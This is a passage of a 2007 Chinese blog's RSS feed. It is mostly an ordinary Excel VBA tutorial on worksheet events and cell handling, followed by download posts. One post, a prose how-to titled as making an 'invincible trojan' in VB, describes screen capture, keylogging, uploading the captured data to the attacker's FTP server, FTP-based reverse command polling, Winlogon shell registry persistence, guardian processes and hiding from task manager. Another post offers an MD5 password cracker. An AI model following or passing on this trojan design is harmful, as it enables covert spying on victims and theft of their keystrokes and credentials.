对象。 &lt;br&gt;本示例对在当前活动工作簿中访问过的所有链接保留一个列表或历史记录。 &lt;br&gt;Private Sub Worksheet_FollowHyperlink(ByVal Target As Hyperlink) &lt;br&gt;With UserForm1 &lt;br&gt;.ListBox1.AddItem Target.Address &lt;br&gt;.Show &lt;br&gt;End With &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;PivotTableUpdate 事件 &lt;br&gt;发生在工作簿中的数据透视表更新之后。 &lt;br&gt;Private Sub expression_PivotTableUpdate(ByVal Target As PivotTable) &lt;br&gt;expression 引用在类模块中带有事件声明的 Worksheet 类型对象的变量。 &lt;br&gt;Target 必需。选定的数据透视表。 &lt;br&gt;本示例显示一则消息，说明数据透视表已经更新。本示例假定您已在类模块中声明了 &lt;br&gt;&lt;br&gt;带有事件的 Worksheet 类型的对象。 &lt;br&gt;Private Sub Worksheet_PivotTableUpdate(ByVal Target As PivotTable) &lt;br&gt;MsgBox "The PivotTable connection has been updated." &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;SelectionChange 事件 &lt;br&gt;当工作表上的选定区域发生改变时，将产生本事件。 &lt;br&gt;Private Sub Worksheet_SelectionChange(ByVal Target As Excel.Range) &lt;br&gt;Target 新选定的区域。 &lt;br&gt;本示例滚动工作簿窗口，直至选定区域位于窗口的左上角。 &lt;br&gt;Private Sub Worksheet_SelectionChange(ByVal Target As Range) &lt;br&gt;With ActiveWindow &lt;br&gt;.ScrollRow = Target.Row &lt;br&gt;.ScrollColumn = Target.Column &lt;br&gt;End With &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;本示例显示活动工作簿中工作表 sheet1 上单元格 A1 中的值。 &lt;br&gt;MsgBox Worksheets("Sheet1").Range("A1").Value &lt;br&gt;&lt;br&gt;本示例显示活动工作簿中每个工作表的名称。 &lt;br&gt;For Each ws In Worksheets &lt;br&gt;MsgBox ws.Name &lt;br&gt;Next ws &lt;br&gt;&lt;br&gt;本示例向活动工作簿添加新工作表，并设置该工作表的名称。 &lt;br&gt;Set newSheet = Worksheets.Add &lt;br&gt;newSheet.Name = "current Budget" &lt;br&gt;&lt;br&gt;本示例关闭工作簿 Book1.xls，但不提示用户保存所作更改。Book1.xls 中的所有 &lt;br&gt;&lt;br&gt;更改都不会保存。 &lt;br&gt;Application.DisplayAlerts = False &lt;br&gt;Workbooks("BOOK1.XLS").Close &lt;br&gt;Application.DisplayAlerts = True &lt;br&gt;&lt;br&gt;本示例设置保存文件时显示提示，要求用户输入汇总信息。 &lt;br&gt;Application.PromptForSummaryInfo = True &lt;br&gt;&lt;br&gt;本示例显示 Microsoft Excel 的完整路径。 &lt;br&gt;Private Sub aa() &lt;br&gt;MsgBox "The path is " &amp;amp; Application.Path &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;示例显示每一个可用加载宏的路径及文件名。 &lt;br&gt;For Each a In AddIns &lt;br&gt;MsgBox a.FullName &lt;br&gt;Next a &lt;br&gt;&lt;br&gt;ChDir 语句 &lt;br&gt;改变当前的目录或文件夹。 &lt;br&gt;ChDir path &lt;br&gt;在 Power Macintosh 中，默认驱动器总是改为在 path 语句中指定的驱动器。完整 &lt;br&gt;&lt;br&gt;路径指定由卷标名开始，相对路径由冒号 ( 开始. ChDir 可以辨认路径中指定的 &lt;br&gt;&lt;br&gt;别名: &lt;br&gt;ChDir "MacDrive:Tmp" ' 在 Macintosh 中 &lt;br&gt;&lt;br&gt;本示例显示当前路径分隔符。 &lt;br&gt;MsgBox "The path separator character is " &amp;amp; _ &lt;br&gt;Application.PathSeparator &lt;br&gt;&lt;br&gt;Move 方法 &lt;br&gt;将一个指定的文件或文件夹从一个地方移动到另一个地方。 &lt;br&gt;语法 &lt;br&gt;object.Move destination &lt;br&gt;Move 方法语法有如下几部分： &lt;br&gt;部分 描述 &lt;br&gt;object 必需的。始终是一个 File 或 Folder 对象的名字。 &lt;br&gt;destination 必需的。文件或文件夹要移动到的目标。不允许有通配符。 &lt;br&gt;&lt;br&gt;CreateFolder 方法 &lt;br&gt;创建一个文件夹。 &lt;br&gt;语法 &lt;br&gt;object.CreateFolder(foldername) &lt;br&gt;reateFolder 方法有如下几部分： &lt;br&gt;部分 描述 &lt;br&gt;object 必需的。始终是一个 FileSystemObject 的名字。 &lt;br&gt;foldername 必需的。字符串表达式，它标识创建的文件夹。 &lt;br&gt;&lt;br&gt;本示例使用 MkDir 语句来创建目录或文件夹。如果没有指定驱动器，新目录或文件 &lt;br&gt;&lt;br&gt;夹将会建在当前驱动器中。 &lt;br&gt;MkDir "MYDIR" ' 建立新的目录或文件夹。 &lt;br&gt;&lt;br&gt;Name 语句示例 &lt;br&gt;本示例使用 Name 语句来更改文件的名称。示例中假设所有使用到的目录或文件夹都 &lt;br&gt;&lt;br&gt;已存在。 在 Macintosh 中，默认驱动器名称是 “HD” 并且路径部分由冒号取代 &lt;br&gt;&lt;br&gt;反斜线隔开。 &lt;br&gt;Dim OldName, NewName &lt;br&gt;OldName = "OLDFILE": NewName = "NEWFILE" ' 定义文件名。 &lt;br&gt;Name OldName As NewName ' 更改文件名。 &lt;br&gt;OldName = "C:\MYDIR\OLDFILE": NewName = "C:\YOURDIR\NEWFILE" &lt;br&gt;Name OldName As NewName ' 更改文件名，并移动文件。 &lt;br&gt;&lt;br&gt;本示例显示当前默认文件路径。 &lt;br&gt;MsgBox "The current default file path is " &amp;amp; _ &lt;br&gt;Application.DefaultFilePath &lt;br&gt;&lt;br&gt;本示例设置替换启动文件夹。 &lt;br&gt;Application.AltStartupPath = "C:\EXCEL\MACROS" &lt;br&gt;&lt;br&gt;FolderExists 方法 &lt;br&gt;如果指定的文件夹存在返回 True，不存在返回 False。 &lt;br&gt;语法 &lt;br&gt;object.FolderExists(folderspec) &lt;br&gt;&lt;br&gt;本示例在单元格中启用编辑。 &lt;br&gt;Application.EditDirectlyInCell = True &lt;br&gt;&lt;br&gt;程序说明： &lt;br&gt;几种用VBA在单元格输入数据的方法： &lt;br&gt;Public Sub Writes() &lt;br&gt;1-- 2 方法，最简单在 "[ ]" 中输入单元格名称。 &lt;br&gt;1 [A1] = 100 '在 A1 单元格输入100。 &lt;br&gt;2 [A2:A4] = 10 '在 A2:A4 单元格输入10。 &lt;br&gt;3-- 4 方法，采用 Range(" ")， " " 中输入单元格名称。 &lt;br&gt;3 Range("B1") = 200 '在 B1 单元格输入200。 &lt;br&gt;4 Range("C1:C3") = 300 '在 C1:C3 单元格输入300。 &lt;br&gt;5-- 6 方法，采用 Cells(Row,Column)，Row是单元格行数，Column是单元格栏数。 &lt;br&gt;5 Cells(1, 4) = 400 '在 D1 单元格输入400。 &lt;br&gt;6 Range(Cells(1, 5), Cells(5, 5)) = 50 '在 E1:E 5单元格输入50。 &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;你点选任何单元格，按 Selection 按钮，則则所点选的单元格均会被输入文字 &lt;br&gt;&lt;br&gt;"Test"。 &lt;br&gt;Public Sub Selection1() &lt;br&gt;Selection.Value = "Test" '在任何你点选的单元格输入文字 "Test"。 &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;VBALesson2 程序说明： &lt;br&gt;几种如何把别的工作表 Sheet4 数据，读到这个工作表的方法：在被读取的单元格 &lt;br&gt;&lt;br&gt;前加上工作表名称 Sheet4。 &lt;br&gt;Public Sub Writes() &lt;br&gt;1-- 2 方法，最简单在被读取的 "[ ]" 前加上被读取的工作表名称 Sheet4。 &lt;br&gt;1 [A1] = Sheet4.[A1] '把Sheet4 A1 单元格的数据，读到 A1单元格。 &lt;br&gt;2 [A2:A4] = Sheet4.[B1] ''把 Shee4 工作表单元格 B1 数据，读到 A2:A4 &lt;br&gt;&lt;br&gt;单元格。 &lt;br&gt;3-- 4 方法，在被读取的工作表 Range(" ")的 Range 前加上被读取的工作表名称 &lt;br&gt;&lt;br&gt;Sheet4。 &lt;br&gt;3 Range("B1") = Sheet4.Range("B1") ''把 Shee4工作表单元格 B1 数据，读 &lt;br&gt;&lt;br&gt;到 B1 单元格。 &lt;br&gt;4 Range("C1:C3") = Sheet4.Range("C1") '把 Shee4 工作表单元格 C1 数据 &lt;br&gt;&lt;br&gt;，读到 C1:C3 单元格。 &lt;br&gt;5-- 6 方法，在被读取的工作表 Cells(Row,Column)，Cells 前加上被读取工作表 &lt;br&gt;&lt;br&gt;名称 Sheet4。 &lt;br&gt;5 Cells(1, 4) = Sheet4.Cells(1, 4) '把 Shee4 工作表单元格 D1 数据，读 &lt;br&gt;&lt;br&gt;到 D1 单元格。 &lt;br&gt;6 Range(Cells(1, 5), Cells(5, 5)) = Sheet4.Cells(1, 5) '把 Shee4 工 &lt;br&gt;&lt;br&gt;作表单元格 E1 数据，读到 E1:E 5单元格。 &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;你点选任何单元格，按 Selection 按钮，则所点选的单元格均会被输入 Shee4 工 &lt;br&gt;&lt;br&gt;作表单元格 F1 数据。 &lt;br&gt;Public Sub Selection1() &lt;br&gt;Selection.Value = Sheet4.[F1] '把 Shee4 工作表单元格 F1 数据，读到任 &lt;br&gt;&lt;br&gt;何你点选的单元格。 &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;VBALesson3 程序说明： &lt;br&gt;如何利用 Worksheet_SelectionChange 输入数据的方法。 &lt;br&gt;Private Sub Worksheet_SelectionChange(ByVal Target As Range) &lt;br&gt;Target = 100 &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;Target 指的是你鼠标所选的单元格，Worksheet_SelectionChange() 事件的参数 &lt;br&gt;&lt;br&gt;。 &lt;br&gt;可以是一个也可以是好几个单元格。 &lt;br&gt;Range 是 Excel 特有的变量形态，叫范围。 &lt;br&gt;Target As Rang 是把 Target 这个参数设定为 Range 变量形态。 &lt;br&gt;Target = 100 是把你点选的单元格输入数字100。 &lt;br&gt;&lt;br&gt;VBALesson4 程序说明： &lt;br&gt;如何利用 Worksheet_SelectionChange 在限定的单元格输入数据的方法。 &lt;br&gt;Private Sub Worksheet_SelectionChange(ByVal Target As Range) &lt;br&gt;If Target.Row &amp;gt;= 2 And Target.Column = 2 Then &lt;br&gt;Target = 100 &lt;br&gt;End If &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;If ... Then ... End If 这是我们学的这一个逻辑判断语句。 &lt;br&gt;Target.Row &amp;gt;= 2，指的是鼠标选定的单元格的行大于或等于 2。 &lt;br&gt;Target.Column = 2 ，指的是鼠标选定的单元格的栏等于 2。 &lt;br&gt;If Target.Row &amp;gt;= 2 And Target.Column = 2 Then 指的是只有在Target.Row &amp;gt;= &lt;br&gt;&lt;br&gt;2及Target.Column = 2二个条件成立时。 &lt;br&gt;就是 (Target.Row &amp;gt;= 2) 为True及(Target.Column = 2)为True时，才执行下面的 &lt;br&gt;&lt;br&gt;程序 Target=100， &lt;br&gt;也就是 B 栏第二行及以下行用鼠标被点选时，才会被输入100，其它单元格则不被输 &lt;br&gt;&lt;br&gt;入数据。 &lt;br&gt;&lt;br&gt;VBALesson5 程序说明： &lt;br&gt;比较 Worksheet_SelectionChange() 与用按钮 CommandButton1_Click() 来执行 &lt;br&gt;&lt;br&gt;程序二者的方法与写法有何不同。 &lt;br&gt;Worksheet_SelectionChange()事件 &lt;br&gt;Private Sub Worksheet_SelectionChange(ByVal Target As Range) &lt;br&gt;If Target.Row &amp;gt;= 2 And Target.Column = 2 Then &lt;br&gt;Target = 100 &lt;br&gt;End If &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;按鈕 CommandButton1_Click() &lt;br&gt;Private Sub CommandButton1_Click() &lt;br&gt;If ActiveCell.Row &amp;gt;= 2 And ActiveCell.Column &amp;gt;= 3 Then &lt;br&gt;ActiveCell = 100 &lt;br&gt;End If &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;二者执行方法最大的地方，在于 Worksheet_SelectionChange() 是自动的，你不用 &lt;br&gt;&lt;br&gt;了解他是怎么完成工作的。 &lt;br&gt;按钮 CommandButton1_Click() 是人工的，比 SelectionChange()多一道手续， &lt;br&gt;&lt;br&gt;就是要去按那接钮，程序才会执行。 &lt;br&gt;SelectionChange() 有一个参数 Target 可用；CommandButton1_Click ()没有。 &lt;br&gt;所以我们要用 ActiveCell 内定函数来取代Target，ActiveCell 与 Target最大的 &lt;br&gt;&lt;br&gt;不同点他只能指定一个单元格。 &lt;br&gt;就是你选取多个单元格也只有最上面的单元格会加上数据；用 Selection 取代 &lt;br&gt;&lt;br&gt;ActiveCell， 用法就跟 Target 一样了。 &lt;br&gt;&lt;br&gt;VBALesson 6 程序说明： &lt;br&gt;完整的 If...Then ┅ End 逻辑判断式。 &lt;br&gt;Private Sub Worksheet_SelectionChange(ByVal Target As Range) &lt;br&gt;If Target.Row &amp;gt;= 2 And Target.Column = 2 Then &lt;br&gt;Target = 200 &lt;br&gt;ElseIf Target.Row &amp;gt;= 2 And Target.Column = 3 Then &lt;br&gt;Target = 300 &lt;br&gt;ElseIf Target.Row &amp;gt;= 2 And Target.Column = 2 Then &lt;br&gt;Target = 400 &lt;br&gt;Else &lt;br&gt;Target = 500 &lt;br&gt;End If &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;这是个完整的 If 逻辑判断式，意思是说，假如 If 後的判断式条件成立的话，就 &lt;br&gt;&lt;br&gt;执行第二条程序，否则假如 ElseIf 後的判断式条件成立的话，就执行第四条程序 &lt;br&gt;&lt;br&gt;，否则假如另一个 ElseIf 後的判断式条件成立的话，就执行第六条程序。 &lt;br&gt;Else 的意思是说，假如以上条件都不成立的话，就执行第八条程序。 &lt;br&gt;他的执行方式是假如 IF 的条件成立的话，就不执行其它ElseIf 及Else 的逻辑判 &lt;br&gt;&lt;br&gt;断式，假如 If 後的条件不成立的话才会执行 ElseIf 或 Else 逻辑判断式。第二 &lt;br&gt;&lt;br&gt;个 ElseIf後的条件因为与 IF 後的条件一样，所以这个判断式後面的 Target=400 &lt;br&gt;&lt;br&gt;将是永远无法执行到的程序。 &lt;br&gt;&lt;br&gt;VBALesson 7 程序说明∶我们为什麽要用变数。 &lt;br&gt;&lt;br&gt;Private Sub Worksheet_SelectionChange(ByVal Target As Range) &lt;br&gt;Dim i , j As Integer &lt;br&gt;Dim k As Range &lt;br&gt;i = Target.Row &lt;br&gt;j = Target.Column &lt;br&gt;Set k = Target &lt;br&gt;If i &amp;gt;= 2 And j = 2 Then &lt;br&gt;k = 200 &lt;br&gt;ElseIf i &amp;gt;= 2 And j = 3 Then &lt;br&gt;k = 300 &lt;br&gt;ElseIf i &amp;gt;= 2 And j = 4 Then &lt;br&gt;k = 400 &lt;br&gt;Else &lt;br&gt;k = 500 &lt;br&gt;End If &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;跟VBALesson 6比较，程序是不是明朗多了，在前课重复的用 Target.Row， &lt;br&gt;&lt;br&gt;Target.Column及Target来写程序是不是有一点烦。用变量的第一个好处大家马上感 &lt;br&gt;&lt;br&gt;觉得出来，就是可以简化程序。 &lt;br&gt;使用变量前，你得先宣告变量。宣告变量的方法是在 "Dim " 后面写上变量 " i &lt;br&gt;&lt;br&gt;" As 后面接上变量的形态 "Integer"。 &lt;br&gt;Dim i , j As Integer 就是宣告 i 与 j 为整数变量，这是同时宣告二个变量 &lt;br&gt;&lt;br&gt;i 与 j 所以要在二个变量间加个 " , "号。 &lt;br&gt;Dim k As Range 是宣告 k 为范围资料形态，Range这是 Excel 特有的资料形态 &lt;br&gt;&lt;br&gt;。 &lt;br&gt;i = Target.Row是把当前单元格的行数，指定给变量 i。 &lt;br&gt;j = Target.Column 是把当前单元格的栏数，指定给变量 j。 &lt;br&gt;Set k = Target 是把当前的单元格，指定给变量 k。 &lt;br&gt;用像 i 与 j 这样简单的变量，在程序的前面你可能还记得 i 或 j 代表着 &lt;br&gt;&lt;br&gt;什厶。程序写长了，你可能忘记 i 或 j 代表着什厶。所以最好的方法是用比较有 &lt;br&gt;&lt;br&gt;意义的代号，来为变量命名如 iRow 或 iCol 来取代 i 及 j 。 &lt;br&gt;&lt;br&gt;VBALesson 8 程序说明∶体会一下Worksheet_Change()事件。 &lt;br&gt;&lt;br&gt;Private Sub Worksheet_Change(ByVal Target As Range) &lt;br&gt;Dim iRow, iCol As Integer &lt;br&gt;iRow = Target.Row &lt;br&gt;iCol = Target.Column &lt;br&gt;If iRow &amp;gt;= 2 And iCol = 2 And Target "" Then &lt;br&gt;Application.EnableEvents = False &lt;br&gt;Cells(iRow, iCol + 1) = Cells(iRow, iCol) * 2 &lt;br&gt;Application.EnableEvents = True &lt;br&gt;ElseIf iRow &amp;gt;= 2 And iCol = 2 And Target = "" Then &lt;br&gt;Cells(iRow, iCol + 1) = "" &lt;br&gt;Else &lt;br&gt;Cells(iRow, iCol + 1) = "" &lt;br&gt;End If &lt;br&gt;End Sub &lt;br&gt;&lt;br&gt;前几个教程都是用Worksheet_SelectionChange 事件来举例子，大家应该能体会他 &lt;br&gt;&lt;br&gt;是怎厶一回事了吧。 &lt;br&gt;这个教程就是要让你来体会什厶是Worksheet_Chang()事件。因为这二个事件在VBA &lt;br&gt;&lt;br&gt;都是非常有用的，所以一定要了解。 &lt;br&gt;简单的说，前者是你鼠标移动到那个单元格，就触发那个事件的执行。後者是要等到 &lt;br&gt;&lt;br&gt;你点选的单元格，数 &lt;/font&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=61</guid><pubDate>Tue, 22 May 2007 04:37:00 GMT</pubDate></item><item><title>[VB]VB简明教程第二版</title><link>http://www.chendw.cn:8080/view.aspx?id=60</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;div forimg="1" align="left"&gt;&lt;img border="0" small="0" class="blogimg" src="http://hiphotos.baidu.com/cdwm/pic/item/c999820a885cc23bb1351dc6.jpg"&gt;&lt;/div&gt;&lt;p&gt;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; VB基础初学者的东东，VB简明教程第二版，不错的，整理了一下。包含了很多基础源代码示例。不说了，具体目录看图片吧&lt;/p&gt;&lt;p&gt;&lt;a target="_blank" href="http://www.mndsoft.com/downfiles/vbjichu.rar"&gt;&lt;font color="#800080"&gt;点击下载&lt;/font&gt;&lt;/a&gt; &lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=60</guid><pubDate>Tue, 22 May 2007 04:34:00 GMT</pubDate></item><item><title>[VB]VB制作无敌木马</title><link>http://www.chendw.cn:8080/view.aspx?id=58</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;&lt;strong&gt;&lt;font color="#99cc00"&gt;1.木马的功能&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;&lt;blockquote dir="ltr" style="MARGIN-RIGHT: 0px"&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;&amp;lt;1&amp;gt;有间隔监控屏幕：参考&lt;/font&gt;&lt;a href="http://www.play78.com/bbs/dispbbs.asp?boardID=14&amp;amp;ID=658&amp;amp;page=1" target="_blank"&gt;&lt;/a&gt;&lt;a href="http://www.play78.com/bbs/dispbbs.asp?boardID=14&amp;amp;ID=658&amp;amp;page=1" target="_blank"&gt;&lt;/a&gt;&lt;a href="http://www.play78.com/bbs/dispbbs.asp?boardID=14&amp;amp;ID=658&amp;amp;page=1" target="_blank"&gt;&lt;font color="#99cc00"&gt;http://www.play78.com/bbs/dispbbs.asp?boardID=14&amp;amp;ID=658&amp;amp;page=1&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;文章，拦截到的图片保存为BMP格式，文件名称为 “DATE_TIME.dll” 保存到System32/WinHosts/（具有迷惑性，至于如何得到system32或system路径请参考&lt;/font&gt;&lt;a href="http://www.openitpower.com/wenzhang/117/11946_1.html" target="_blank"&gt;&lt;/a&gt;&lt;a href="http://www.openitpower.com/wenzhang/117/11946_1.html" target="_blank"&gt;&lt;/a&gt;&lt;a href="http://www.openitpower.com/wenzhang/117/11946_1.html" target="_blank"&gt;&lt;font color="#99cc00"&gt;http://www.openitpower.com/wenzhang/117/11946_1.html&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;文章&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;&amp;lt;2&amp;gt;得到按键信息：&amp;nbsp;&amp;nbsp; 参考&lt;/font&gt;&lt;a href="http://topic.csdn.net/t/20020514/22/722560.html" target="_blank"&gt;&lt;/a&gt;&lt;a href="http://topic.csdn.net/t/20020514/22/722560.html" target="_blank"&gt;&lt;/a&gt;&lt;a href="http://topic.csdn.net/t/20020514/22/722560.html" target="_blank"&gt;&lt;font color="#99cc00"&gt;http://topic.csdn.net/t/20020514/22/722560.html&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;文章，隔10分钟保存一次，为txt格式（只要你看得懂），文件名称“KB_DATE_TIME.oca”&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;&amp;lt;3&amp;gt;注意：监控&amp;lt;1&amp;gt;是有间隔 &amp;lt;2&amp;gt;是实时&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;&amp;lt;4&amp;gt;上面的东西西 自动上传到你申请的免费FTP里面 哈哈 你就等着吧！&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;其他让你能够控制的功能自己添加吧 比如 控制、修改注册表 &lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;建议使用反链接技术 就是你将控制指令放到FTp里面 然后木马每隔一段时间访问一下FTP并获得指令 并执行 哈哈 这样不容易被发现 因为是访问INTERNET而不是别的东西访问你！这样有效的增加了掩护&lt;/font&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p dir="ltr"&gt;&lt;strong&gt;&lt;font color="#99cc00"&gt;2.隐藏木马&lt;/font&gt;&lt;/strong&gt;&lt;/p&gt;&lt;blockquote dir="ltr" style="MARGIN-RIGHT: 0px"&gt;&lt;p dir="ltr"&gt;&lt;font color="#99cc00"&gt;&amp;lt;1&amp;gt;要有一个守护进程&amp;nbsp;&amp;nbsp; 并且互相守护&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 拷贝木马程序和守护文件到system32下 改名，并将副本改后缀为dll&amp;nbsp;&amp;nbsp; 这样使用unlocker之类的东西 可以从这里恢复并重新 保护&amp;nbsp;&amp;nbsp; 具体这里不详细说明 看你怎么造化了 &lt;/font&gt;&lt;/p&gt;&lt;p dir="ltr"&gt;&lt;font color="#99cc00"&gt;&amp;lt;2&amp;gt;开机启动&lt;/font&gt;&lt;/p&gt;&lt;p dir="ltr"&gt;&lt;font color="#99cc00"&gt;不要放到run里面 给你一个更好的地方 这里运行连安全模式都会加载！&lt;/font&gt;&lt;/p&gt;&lt;p dir="ltr"&gt;&lt;font color="#99cc00"&gt;具体注册表：（读写注册表参考 源代码区vb reg）HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; shell键值&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 看到了吧，里面是“explorer.exe”&amp;nbsp;&amp;nbsp; 如果有别的 很有可能你中病毒了 我们也利用这一点&amp;nbsp;&amp;nbsp;&amp;nbsp; 注意：要修改这个shell键值为原键值＋空格＋你的程序路径（带英文双引号）&amp;nbsp;&amp;nbsp; 嘿嘿！这样～&lt;/font&gt;&lt;/p&gt;&lt;p dir="ltr"&gt;&lt;font color="#99cc00"&gt;&amp;lt;3&amp;gt;要设置一个自杀东西 否则小心你自己的电脑哦！最好远程控制自杀，要自杀就先修改一个注册表 然后守护进程看到了有这个键值&amp;nbsp;&amp;nbsp; 就unload me 并end 然后再木马本生关闭&amp;nbsp;&amp;nbsp; 然后安全删除（参考“安全删除自身”文章）&lt;/font&gt;&lt;/p&gt;&lt;p dir="ltr"&gt;&lt;font color="#99cc00"&gt;&amp;lt;4&amp;gt;不能显示应用程序&amp;nbsp;&amp;nbsp;&amp;nbsp; 即：me.visiable=false ，me.showintaskbar=true（这个最好在属性中设置）&lt;/font&gt;&lt;/p&gt;&lt;p dir="ltr"&gt;&lt;font color="#99cc00"&gt;然后unload里面加入 判断 是否为自己代码调用关闭 （参考&lt;/font&gt;&lt;a href="http://www.play78.com/bbs/dispbbs.asp?boardID=8&amp;amp;ID=1359&amp;amp;page=6" target="_blank"&gt;&lt;/a&gt;&lt;a href="http://www.play78.com/bbs/dispbbs.asp?boardID=8&amp;amp;ID=1359&amp;amp;page=6" target="_blank"&gt;&lt;/a&gt;&lt;a href="http://www.play78.com/bbs/dispbbs.asp?boardID=8&amp;amp;ID=1359&amp;amp;page=6" target="_blank"&gt;&lt;font color="#99cc00"&gt;http://www.play78.com/bbs/dispbbs.asp?boardID=8&amp;amp;ID=1359&amp;amp;page=6&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 即：unloadmode=1则关闭 否则就shell 自己路径）这样能一定程度防治任务管理器基本关闭&lt;/font&gt;&lt;/p&gt;&lt;p dir="ltr"&gt;&lt;font color="#99cc00"&gt;如果强制关闭也有守护进程！&lt;/font&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=58</guid><pubDate>Wed, 16 May 2007 06:18:00 GMT</pubDate></item><item><title>[ASP]10天学会ASP教程</title><link>http://www.chendw.cn:8080/view.aspx?id=57</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;再次无聊中。。。。&lt;/p&gt;&lt;p&gt;发一本asp教程，我就会从这个开始接触asp的，希望对你们有所帮助。&lt;/p&gt;&lt;p&gt;十天学会ASP系列文章不同于外面大多数的ASP书籍。它抓住的是ASP的精要内容，使很多对一大堆代码望而却步的人能很快上手写ASP程序。&lt;/p&gt;&lt;p&gt;&lt;a target="_blank" href="http://cdws.gbaopan.com/files/b4cc1ca7ff084e938986cd76aa7bad1a.gbp"&gt;点击下载&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=57</guid><pubDate>Sun, 13 May 2007 04:15:00 GMT</pubDate></item><item><title>[破解]MD5破解工具</title><link>http://www.chendw.cn:8080/view.aspx?id=56</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;&lt;font color="#800000"&gt;&lt;span style="FONT-SIZE: 10.5pt"&gt;&lt;font face="宋体"&gt;闲的无聊，不知道写些什么好，就给大家推荐一个破解&lt;/font&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt; text-shadow: auto"&gt;MD5&lt;/span&gt;&lt;font face="宋体"&gt;&lt;span style="FONT-SIZE: 10.5pt"&gt;密码的工具。&lt;/span&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#800000"&gt;&lt;font face="宋体"&gt;&lt;span style="FONT-SIZE: 10.5pt"&gt;纯数字的话效率很高，以秒为单位，而字符的话则看机器配置了。&lt;/span&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#800000"&gt;&lt;span style="FONT-SIZE: 10.5pt"&gt;&lt;font face="宋体"&gt;这个是在&lt;/font&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt; text-shadow: auto"&gt;dos&lt;/span&gt;&lt;font face="宋体"&gt;&lt;span style="FONT-SIZE: 10.5pt"&gt;下的工具。&lt;/span&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="宋体"&gt;&lt;span style="FONT-SIZE: 10.5pt"&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt; text-shadow: auto"&gt;&lt;a target="_blank" href="http://cdws.gbaopan.com/files/a919d0941ecc42b893689d7ec4759a37.gbp"&gt;&lt;font color="#ff0000"&gt;点击下载&lt;/font&gt;&lt;/a&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="FONT-SIZE: 10.5pt; text-shadow: auto"&gt;&lt;br&gt;&lt;font color="#800000"&gt;Usage: dv.exe -p &amp;lt;pwfile&amp;gt; [[ -w &amp;lt;wordlist&amp;gt;]|[ -b]] [ -o &amp;lt;outfile&amp;gt;]&lt;br&gt;-p &amp;lt;pwfile&amp;gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/font&gt;&lt;/span&gt;&lt;font color="#800000"&gt;&lt;span style="FONT-SIZE: 10.5pt"&gt;&lt;font face="宋体"&gt;从此文件读取&lt;/font&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt; text-shadow: auto"&gt;md5&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt"&gt;&lt;font face="宋体"&gt;的散列和用户名&lt;/font&gt;&lt;/span&gt;&lt;/font&gt;&lt;span style="FONT-SIZE: 10.5pt; text-shadow: auto"&gt;&lt;br&gt;&lt;font color="#800000"&gt;-w &amp;lt;wordlist&amp;gt;&amp;nbsp;&amp;nbsp;&lt;/font&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt"&gt;&lt;font face="宋体" color="#800000"&gt;从此文件读取字典来破解&lt;/font&gt;&lt;/span&gt;&lt;span style="FONT-SIZE: 10.5pt; text-shadow: 